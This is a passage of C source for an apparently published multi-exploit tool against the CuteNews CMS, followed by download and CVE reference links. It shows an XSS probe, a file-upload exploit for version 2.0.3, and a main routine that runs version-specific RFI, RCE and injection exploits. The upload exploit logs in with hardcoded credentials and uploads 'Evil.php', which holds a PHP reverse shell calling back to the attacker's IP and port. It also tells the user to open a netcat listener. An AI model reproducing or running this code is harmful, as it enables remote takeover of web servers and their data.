                       "%s/show_archives.php?archive=%s&subaction=list-archive&",
                       UrlInput, payload[p]);
      
              printf("\e[0;36m[+] Testing injection on parameter: show_archives.php\n");
              log_to_file("\e[0;36m[+] Testing injection on parameter: show_archives.php\n");
              printf("\e[0;32m[+] Full target URL: %s\n",
                  full);
              log_to_file("\e[0;32m[+] Full target URL: \n");
              log_to_file(full);
              printf("\e[0;36m[+] Payload for XSS: %s\n",
                  payload[p]);
      
              curl = curl_easy_init();
              if (!curl) 
              {
                  fprintf(stderr, "\e[0;31m[-] Curl initialization failed\n");
                  log_to_file("\e[0;31m[-] Curl initialization failed\n");
                  exit(1);
              }
      
              memset(response, 0, sizeof(response));
      
              curl_easy_setopt(curl,
                  CURLOPT_URL,
                  full);
              curl_easy_setopt(curl,
                  CURLOPT_FOLLOWLOCATION,
                  1L);
              curl_easy_setopt(curl,
                  CURLOPT_WRITEFUNCTION,
                  write_cb);
              curl_easy_setopt(curl,
                  CURLOPT_WRITEDATA,
                  response);
      
              res = curl_easy_perform(curl);
              if (res == CURLE_OK) 
              {
                  printf("\e[0;36m[+] Request sent successfully!\n");
                  log_to_file("\e[0;36m[+] Request sent successfully!\n");
                  curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
                  printf("\e[0;32m=> HTTP Code Response: %ld\n",
                      httpCode);
      
                  if (strstr(response, payload[p]) != NULL) 
                  {
                      printf("\e[0;32m[+] Possible XSS injection detected with payload: %s\n",
                          payload[p]);
                      log_to_file("\e[0;32m[+] Possible XSS injection detected \n");
                  }
              } 
              else 
              {
                  printf("\e[0;31m[-] Request failed: %s\n",
                      curl_easy_strerror(res));
                  log_to_file("\e[0;31m[-] Request failed: \n");
              }
      
              curl_easy_cleanup(curl);
          }
      }
      
      
      // version  2.0.3 
      // Vulnerability  Remote File Upload
     void remote_file_upload(const char *url_login,
          const char*  ip,
          int port) 
      {
         
         const char *username = "test"; // Change user Login (User)
         const char *password = "837201"; // password
         const char *filename = "Evil.php";  //name file
         const char *cookieFile = "cookies.txt";  //File cookie (login)
         char login_data[DATA];
         char full[FULL_URL];
         char url_upload[FULL_URL];
         long httpCode = 0 ;
         const char *up = "/index.php/uploads/Evil.php";
         char content[CONTENT];
         CURLcode res;
         CURL *curl = curl_easy_init();
         printf("\e[0;37m---------------------------------------------------------------------\n");
         log_to_file("\e[0;37m---------------------------------------------------------------------\n");
         printf("\e[0;36m[+] Exploit Remote File Upload (2.0.3)...\n");
         log_to_file("\e[0;36m[+] Exploit Remote File Upload (2.0.3)...\n");
         snprintf(content, sizeof(content),
                  "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
                  ip,
                  port);
         
         FILE *file = fopen("Evil.php", "w");
         if (file == NULL)
         {
             printf("\e[0;31m[-] Error Create File !!\n");
             log_to_file("\e[0;31m[-] Error Create File !\n");
             exit(1);
         }
         fprintf(file,
             "%s",
             content);
         fclose(file);
         printf("\e[0;37m---------------------------------------------------------------------\n");
         printf("\e[0;36m[+] A file was created that will be branched in the server (Evil.php) and a reverse connection command was placed in it...\n");
         printf("\e[0;36m[+] Don't forget to listen to the port using netcat command for example (nc -lvnp 444)\n");
         log_to_file("\e[0;36m[+] A file was created that will be branched in the server (Evil.php) and a reverse connection command was placed in it...\n");
         log_to_file("\e[0;36m[+] Don't forget to listen to the port using netcat command for example (nc -lvnp 444)\n");
         if (!curl) 
         {
             fprintf(stderr, "\e[0;31m[-] Failed to initialize curl\n");
             log_to_file("\e[0;31m[-] Failed to initialize curl\n");
             return;
         }
         
         snprintf(full, 
             sizeof(full), 
             "%s/cutenews/index.php?mod=main&opt=login", 
             url_login);
         
         snprintf(login_data,
              sizeof(login_data),
              "username=%s&password=%s",
              username,
              password);
         snprintf(url_upload,
             sizeof(url_upload),
             "%s/cutenews/index.php?mod=main&opt=person",
             url_login);
         
         snprintf(login_data,
             sizeof(login_data),
             "username=%s&password=%s",
             username,
             password);
      
         curl_easy_setopt(curl,
             CURLOPT_URL, 
             url_login);
         curl_easy_setopt(curl, 
             CURLOPT_POSTFIELDS, 
             login_data);
         curl_easy_setopt(curl, 
             CURLOPT_FOLLOWLOCATION, 
             1L);
         curl_easy_setopt(curl, 
             CURLOPT_COOKIEJAR, 
             cookieFile);
         
         res = curl_easy_perform(curl);
         if (res != CURLE_OK) 
         {
             fprintf(stderr,
                 "\e[0;31m[-] Login failed: %s\n",
                 curl_easy_strerror(res));
             
             curl_easy_cleanup(curl);
             return;
         }
         printf("\e[0;36m[+] Logging in...\n");
         printf("\e[0;36m[+] FULL Login URL : %s\n", full);
         printf("\e[0;36m[+] Logged in successfully!\n");
         log_to_file("\e[0;36m[+] Logging in...\n");
         log_to_file("\e[0;36m[+] FULL Login URL : \n");
         log_to_file(full); 
         log_to_file("\e[0;36m[+] Logged in successfully!\n");
         curl_easy_getinfo(curl,
             CURLINFO_RESPONSE_CODE,
             &httpCode);
         printf("\e[0;32m=> HTTP CODE : %ld\n", httpCode);
      
         printf("\e[0;34m[+] User  : %s\n",
             username);
         log_to_file("\e[0;34m[+] User  : test");
         printf("\e[0;34m[+] Password : %s\n",
             password);
         log_to_file("Password : 837201\n");
      
         curl_mime *mime = curl_mime_init(curl);
         curl_mimepart *part = curl_mime_addpart(mime);
      
         curl_mime_name(part,
             "avatar_file");  
         curl_mime_filedata(part,
             filename);   
         curl_mime_filename(part,
             "Evil.php");
      
         curl_easy_setopt(curl,
             CURLOPT_URL,
             url_upload);
         curl_easy_setopt(curl,
             CURLOPT_MIMEPOST,
             mime);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEFILE,
             cookieFile);
         curl_easy_setopt(curl,
             CURLOPT_FOLLOWLOCATION,
             1L);
      
         res = curl_easy_perform(curl);
         if (res != CURLE_OK) 
         {
             fprintf(stderr,
                 "\e[0;31m[-] File upload failed: %s\n",
                 curl_easy_strerror(res));
             log_to_file("\e[0;31m[-] File upload failed\n");
             curl_easy_getinfo(curl,
                 CURLINFO_RESPONSE_CODE,
                 &httpCode);
             printf("\e[0;32m=> HTTP CODE : %ld\n",
                 httpCode);
             
         } 
         else 
         {
             printf("\e[0;36m[+] File uploaded successfully!\n");
             log_to_file("\e[0;36m[+] File uploaded successfully!\n");
             curl_easy_getinfo(curl,
                 CURLINFO_RESPONSE_CODE,
                 &httpCode);
             printf("\e[0;32m=> HTTP CODE : %ld\n",
                 httpCode);
             printf("\e[0;33m[+] Your Shell URL : %s%s\n",
                 url_login,
                 up);
             log_to_file("\e[0;33m[+] Your Shell URL : \n");
             log_to_file(url_login);
         }
      
         curl_mime_free(mime);
         curl_easy_cleanup(curl);
      }
      
      
      int main(int argc, const char *argv) 
      {
          printf(
              "⠀\e[0;34m\n"
              " __   __                 _____      _       \n"
              " \\ \\ / /                / ____|    | |      \n"
              "  \\ V / ___ _ __   ___ | |    _   _| |_ ___ \n"
              "   > < / _ \\ '_ \\ / _ \\| |   | | | | __/ _ \\\n"
              "  / . \\  __/ | | | (_) | |___| |_| | ||  __/\n"
              " /_/ \\_\\___|_| |_|\\___/ \\_____|\\__,_|\\__\\___|\n"
              "                                   \e[1;37m@Byte Reaper   \n"
              "\n"
          );
          printf("\e[4;34m==> USE AT YOUR OWN RISK.\n");
          log_to_file("\e[4;34m==> USE AT YOUR OWN RISK.\n");
          printf("\e[0;35m------------------------------------------------------------------------------------\n");
          log_to_file("\e[0;35m------------------------------------------------------------------------------------\n");
          const char* message = "\e[1;32m[+] Good luck on Exploit \n";
          print_slow(message);
          printf("\e[0;35m------------------------------------------------------------------------------------\n");
          log_to_file("\e[0;35m------------------------------------------------------------------------------------\n");
          printf("\n[+] Create File log (exploit.log)\n");
      
          
         
          info(); 
          const char *urlArg = NULL;
          const char *payload = NULL;
          const char *ip = NULL;
          int port = 0;
          int file_Scanne; 
          struct argparse_option options[] = 
          {
              OPT_HELP(),
              OPT_STRING('u',
              "url", 
              &urlArg,
              "Enter Target Url (Ex : http://exemple.com)"),
              OPT_STRING('p',
                 "payload",
                 &payload,
                 "Enter Payload For Exploit RFI"),
              OPT_STRING('i',
                  "ip",
                  &ip,
                  "Enter Your IP For Exploit Remote File Upload, Exemple Command get ip (ip addr OR ifconfig)"),
              OPT_BOOLEAN('s',
                  "port",
                  &port,
                  "Enter your port For Get reverse Shell , exemple (-s 4444)"),
              OPT_END(),
          };
          struct argparse argparse;
      
          argparse_init(&argparse,
              options,
              NULL,
              0);
      
          argparse_parse(&argparse,
              argc,
              (const char **)argv);
          if (!urlArg)
          {
              printf("\e[0;31m[-] PLEASE ENTER TARGET URL !\n");
              log_to_file("\e[0;31m[-] PLEASE ENTER TARGET URL !\n");
              printf("\e[0;33m[-] USAGE : %s  -u <URL>\n",
                  argv[0]);
              exit(1);
          }
          printf("\n\e[0;33m[+] The version is being determined. Please wait...\n");
          log_to_file("\n\e[0;33m[+] The version is being determined. Please wait...\n");
          char *version = find_version(urlArg); 
          if (!version)
          {
               printf("\e[0;31m[-] Unable to detect CuteNews version.\n");
               log_to_file("\e[0;31m[-] Unable to detect CuteNews version.\n");
               return 1;
          }
          printf("\e[0;36m[+] Detected CuteNews version: %s\n", version);
          if (urlArg != NULL)
          {
              printf("\e[0;36m[+] Target Url Is : (%s)\n", urlArg);
              if (strcmp(version, "0.88") == 0)
              {
                  printf("\e[0;33m[+] Running RFI exploit for version 0.88...\n");
                  log_to_file("\e[0;33m[+] Running RFI exploit for version 0.88...\n");
                  exploit_RFI_0_88(urlArg, payload);
                  printf("\e[0;33m[+] Running XSS exploit for version 0.88...\n");
                  log_to_file("\e[0;33m[+] Running XSS exploit for version 0.88...\n");
                  exploit_XSS_0_88(urlArg);
              }
              if (strcmp(version, "1.1.1") == 0)
              {
                  printf("\e[0;33m[+] Running RCE exploit for version 1.1.1 ...\n");
                  log_to_file("\e[0;33m[+] Running RCE exploit for version 1.1.1 ...\n");
                  exploit_RCE_1_1_1(urlArg);
              }
              if (strcmp(version, "1.3") == 0)
              {
                  printf("\e[0;33m[+] Running Html Injection exploit for version 1.3 ...\n");
                  log_to_file("\e[0;33m[+] Running Html Injection exploit for version 1.3 ...\n");
                  exploit_html_injection1_3(urlArg);
                  printf("\e[0;33m[+] Running Info Disclosure exploit for version 1.3 ...\n");
                  log_to_file("\e[0;33m[+] Running Info Disclosure exploit for version 1.3 ...\n");
                  exploit_info_disclosure1_3(urlArg);
              }
              if (strcmp(version, "1.3.1") == 0)
              {
                  printf("\e[0;33m[+] Running XSS exploit for version 1.3.1 ..\n");
                  log_to_file("\e[0;33m[+] Running XSS exploit for version 1.3.1 ..\n");
                  xss1_3_1(urlArg);
              }
              if (strcmp(version, "2.0.3") == 0)
              {
                  printf("\e[0;33m[+] Remote File Upload exploit for version 2.0.3 ...\n");
                  log_to_file("\e[0;33m[+] Remote File Upload exploit for version 2.0.3 ...\n");
                  if (!ip)
                  {
                      printf("\e[0;31m[-] Please Enter Your ip !!\n");
                      log_to_file("\e[0;31m[-] Please Enter Your ip !!\n");
      
                  }
                  if (!port)
                  {
                      printf("\e[0;31m[-] Please Enter your Listen Port!\n");
                      log_to_file("\e[0;31m[-] Please Enter your Listen Port!\n");
                  }
                  else 
                  {
                      remote_file_upload(urlArg, ip, port);
                  }
              }
              else 
              {
                  printf("\e[0;31m[-] this Version Not Exploit : %s\n", version);
                  log_to_file("\e[0;31m[-] this Version Not Exploit !!\n");
              }
          }
      
          return 0;
      }
      
  
Download

References :

  • NVD : link
  • CVE : link